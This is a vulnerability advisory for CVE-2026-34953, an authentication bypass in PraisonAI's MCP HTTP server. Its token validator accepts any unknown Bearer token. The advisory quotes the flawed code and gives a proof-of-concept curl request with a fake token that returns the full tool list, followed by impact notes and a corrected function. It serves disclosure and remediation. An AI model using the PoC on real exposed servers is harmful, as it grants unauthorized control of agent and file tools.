CVE-2026-34953

Description

### Summary `OAuthManager.validate_token()` returns `True` for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities. ### Details `oauth.py:364` (source) -> `oauth.py:374` (loop miss) -> `oauth.py:381` (sink) ```python # source def validate_token(self, token: str) -> bool: for stored_token in self._tokens.values(): if stored_token.access_token == token: return not stored_token.is_expired() # sink -- _tokens is empty by default, loop never executes, falls through return True ``` ### PoC ```bash # install: pip install -e src/praisonai # start server: praisonai mcp serve --transport http-stream --port 8080 curl -s -X POST http://127.0.0.1:8080/mcp \ -H "Authorization: Bearer fake_token_abc123" \ -H "Content-Type: application/json" \ -d '{"jsonrpc":"2.0","method":"tools/list","id":1}' # expected output: 200 OK with full tool list (50+ tools) # including praisonai.agent.run, praisonai.workflow.run, praisonai.containers.file_write ``` ### Impact Any unauthenticated attacker with network access to the MCP HTTP server can call all registered tools including agent execution, workflow runs, container file read/write, and skill loading. The server binds to `0.0.0.0` by default with no API key required. ### Suggested Fix ```python def validate_token(self, token: str) -> bool: for stored_token in self._tokens.values(): if stored_token.access_token == token: return not stored_token.is_expired() # Unknown tokens must be rejected. # For external/JWT tokens, call the introspection endpoint here before returning. return False ```

How to fix CVE-2026-34953

To remediate CVE-2026-34953, upgrade the affected package to a fixed version below.

• —upgrade to 4.5.97 or later

Is CVE-2026-34953 being exploited?

Low — EPSS is 0.0%, meaning exploitation activity has not been observed at scale.

Affected packages (1)